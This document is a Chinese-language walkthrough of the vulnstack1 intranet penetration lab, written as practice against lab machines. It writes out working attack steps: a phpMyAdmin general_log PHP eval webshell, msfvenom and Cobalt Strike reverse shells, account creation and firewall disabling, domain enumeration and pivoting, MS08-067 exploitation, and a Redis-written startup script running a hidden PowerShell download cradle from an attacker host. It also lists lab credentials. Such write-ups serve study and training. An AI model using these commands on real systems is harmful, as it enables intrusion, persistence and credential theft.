内网渗透靶场vulnstack系列:vulnstack1

一、实验环境

vulnstack1:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

image-20210104092155239

实验环境:

1
2
3
4
5
攻击者本地:192.168.247.1
攻击者KALI:192.168.247.146
VM1:192.168.247.133(NAT);192.168.52.128(host-only)
VM2:192.169.52.141(host-only)
VM3:192.168.52.138(host-only)

实验工具:AntSword、Coblat Strike、MSF、msfvenom

实验目的:在实践中学习内网渗透,主要为了练习,所以过程能学习到的地方都可以练一练。

二、实战

1、目标192.168.247.133信息收集

端口扫描,发现存在两个开放端口80 http、3306 mysql

1
nmap -sC -sV -Pn -T5 192.168.247.133

image-20210104093203260

访问80端口是phpinfo,并从页面获取到以下信息。并且可以从页面下方测试mysql连接来进行数据库连接测试,随便输了root/root,便连上了

1
2
3
4
服务器:Windows NT STU1 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586
绝对路径:C:/phpStudy/WWW
探针路径:C:/phpStudy/WWW/l.php
Php:5.4.45

image-20210104093619989

针对网站进行探测,发现存在以下页面

image-20210104093735642

访问phpadmin,用root/root登录,果然进来了,发现mysql是5.5.53,并且存在其它数据库newyxcms,猜测应该存在其它没探测到的页面,先记录下,万一用得到。

image-20210104094029801

image-20210104094249096

2、Getshell

首先考虑phpmyadmin漏洞利用,参考了https://www.cnblogs.com/liliyuanshangcao/p/13815242.html,尝试直接写入文件来getshell失败,没有写权限,尝试用日志记录写入shell 成功了

1
2
3
4
5
6
7
8
# 开启日志记录
set global general_log = "ON";
# 查看当前的日志目录
show variables like 'general%';
# 指定日志文件,具体路径可以利用上面获取的绝对路径C:/phpStudy/WWW
set global general_log_file = "C:/phpStudy/WWW/tt.php";
# 写入执行代码
select "<?php eval($_POST[tt]);?>"

访问并用蚁剑连接

image-20210104102422357

Cobalt Strike上线,设置监听

image-20210104102841002

生成payload

image-20210104103037015

蚁剑终端执行payload,CS成功获取shell。

image-20210104103206246

3、本机信息收集并提权

1
2
Systeminfo
# 发现操作系统:windos7专业版 x_64,存在域:god.org,存在另一个网卡:192.168.52.128,主机名:STU1,补丁打了4个

image-20210104103653614

image-20210104103734658

Administrator权限 提权到system。参考了狼组提权文章,未打MS14-058补丁KB3000061并且适用WIN7。

image-20210104104400525

用CS的MS14-058提权

image-20210104104546132

1
2
ipconfig /all
# 存在双网卡,存在DNS服务器 192.168.52.138,可能为域控

收集主机密码

Administrator/Hongrisec@2019

image-20210104105234329

开启远程桌面

查看3389端口是否开启

image-20210104110133518

添加帐号,开启远程桌面进行链接

1
2
3
4
5
6
7
8
# 添加账号
net user test11 test@099 /add
net localgroup administrators test11 /add

# 注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 如果反弹shell失败或者开启3389失败,需要关闭防火墙
netsh advfirewall set allprofiles state off # 菜刀终端命令

image-20210104110543441

image-20210104110555491

wmic本地自动化信息收集-out.html

image-20210104112027050

4、内网信息收集

域相关信息收集

查询域:net view /domain

image-20210104112223072

查询域内所有主机:net view /domain:god

image-20210104112244913

查询所有域成员计算机列表:net group “domain computers” /domain

image-20210104112339711

查找域控 机器名:nltest /DCLIST:god

image-20210104112408944

查询域内用户和管理员信息:

查询所有域用户列表:net user /domain

image-20210104112433952

查看域管理员:net group “domain admins” /domain

image-20210104112541347

探测内网存活主机
1
for /L %I in (1,1,254) DO @ping -w 1 -n 192.168.247.%I | findstr "TTL="

image-20210104112637457

或者用netbios探测

image-20210104112708473

探测端口存活情况

image-20210105190802162

梳理目前网络情况及攻击思路

目前内网还有两台主机,141和138,138是域控,两台主机都开了445端口,第一想到的是可能存在MS17-010漏洞直接利用,如果利用失败,可以考虑看看80和其它端口,另外还有一点就是域控可以利用前段时间新出的漏洞CVE-2020-1472。

image-20210105191635013

5、横向渗透192.168.52.141

MSF反弹shell
1
2
3
4
5
6
7
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.247.146 LPORT=4444 -f raw > 123.php
msfconsloe
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.247.133
set lport 4444
Run

image-20210106204224771

或者CS派生会话到MSF
1
2
3
4
5
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.247.146
setlport 5555
run

image-20210106204303715

添加路由
1
2
3
4
#查看路由信息
run get_local_subnets
#添加一条路由
run autoroute -s 192.168.52.0/24

image-20210106204627812

设置代理
1
2
3
4
Background
use auxiliary/server/socks4a
Set srvhost 192.168.247.146
run

image-20210106204702450

探测并尝试利用MS17-010漏洞,利用失败

image-20210106204743415

image-20210106204807779

发现平台里面给出了MS08-067,利用成功,getshell且权限为system

image-20210106204848059

image-20210106204923573

尝试将MSF会话派生到CS失败了

image-20210106205035633

6、渗透域控

尝试利用MS17-010攻击域控也失败了

image-20210106205150473

DC还开放了其它端口80和88,iis服务,没有可利用之处。

redis获取DC

发现提示有redis,但是我扫描都没找到这个端口开放了,后来发现服务没开,进到c:\redis\开了redis服务。redis-server.exe redis.windows.conf。

image-20210112204903767

利用redis写入自启动

在CS创建监听和生成payload

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxx.xxx.xxx.xxx:80/a'))"

image-20210112205014287

1
2
3
4
5
6
windows 2008自启动目录:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
注意目录在redis要用正斜杠
1、config set dir "C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp"
2、CONFIG SET dbfilename 360start.bat
3、set x "\r\n\r\npowershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.52.128:80/111'))""\r\n\r\n"
4、save

三、其它记录

YXCMS漏洞:https://blog.csdn.net/xiaoi123/article/details/82758233

image-20210112204720337

http://192.168.247.133/yxcms/index.php?r=admin/index/login admin/123456

后台任意文件写入getshell

image-20210112204813073

四、参考链接

ATK&CK红队评估实战靶场(一)的搭建和模拟攻击过程
ATT&cK实战系列—红队实战(一)
metasploit与Cobaltstrike互相派生shell
vulnstack1
kali meterpreter中mimikatz模块获取密码
Redis在Windows下的利用